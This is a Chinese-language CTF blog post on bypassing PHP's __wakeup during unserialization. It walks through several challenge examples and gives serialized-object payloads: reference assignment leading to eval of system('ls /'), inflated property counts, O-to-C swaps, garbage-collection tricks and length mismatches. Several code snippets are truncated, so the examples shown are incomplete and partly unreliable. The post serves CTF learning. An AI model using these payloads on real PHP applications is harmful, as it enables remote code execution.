反序列化中_wakeup扮演着非常重要的角色,ctf碰到很多的题目都有涉及到_wakeup绕过,写下这篇博客来总结下大部分绕过方法,其中会有例题具体演示。
两个变量同时指向同一个内存地址
例题:[UUCTF 2022 新生赛]ez_unser
源代码
a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
分析一下,有eval函数可以命令执行,但是__wakeup()会让a的值为空。
同时正则匹配不让我们修改属性个数绕过__wakeup(),这就是个难题
可利用点为$this->b=$this->c;
,所以我们可以引用赋值绕过__wakeup()
payload
c="system('ls /');";
$t->b=&$t->a;
echo serialize($t);
?>
注:$t->b=&$t->a;
意味着它们引用相同的内存地址,它们指向相同的值
影响范围:
PHP5 < 5.6.25
PHP7 < 7.0.10
正常来说在反序列化过程中,会先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。
例题:攻防世界 unserialize3
源代码
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
分析一下,如果我们反序列化的话就会调用__wakeup()
然后就触发exit('bad requests');
,我们只需要属性个数加一即可绕过
payload
O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会被自动调用。
常规绕过
O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;}
变成下面
C:4:“User”:2:{}
C进阶绕过
例题:愚人杯3rd [easy_php]
ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
分析一下,核心是绕过_wakeup
ctfshow);
}
}
$a=new ctfshow();
echo serialize($a);
//O:7:"ctfshow":0:{}
我们直接改成C试试,发现根本没有命令执行的步骤
payload
a = new ctfshow;
echo serialize($a);
?>
本质上就是利用GC回收机制。
方法有两种,删除末尾的花括号、数组对象占用指针(改数字)
//正常payload:
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;}
//删除末尾花括号payload:
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;
//数组对象占用指针payload(加粗部分数组下标和前面重复都是0,导致指针出问题)
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:0;s:4:“1234”;}
属性值的长度不匹配
具体形式
//正常payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“1”;}
//外部类属性值长度异常payload:
//先外类__destruct()后内类__wakeup()
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:2:“1”;}
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“12”;}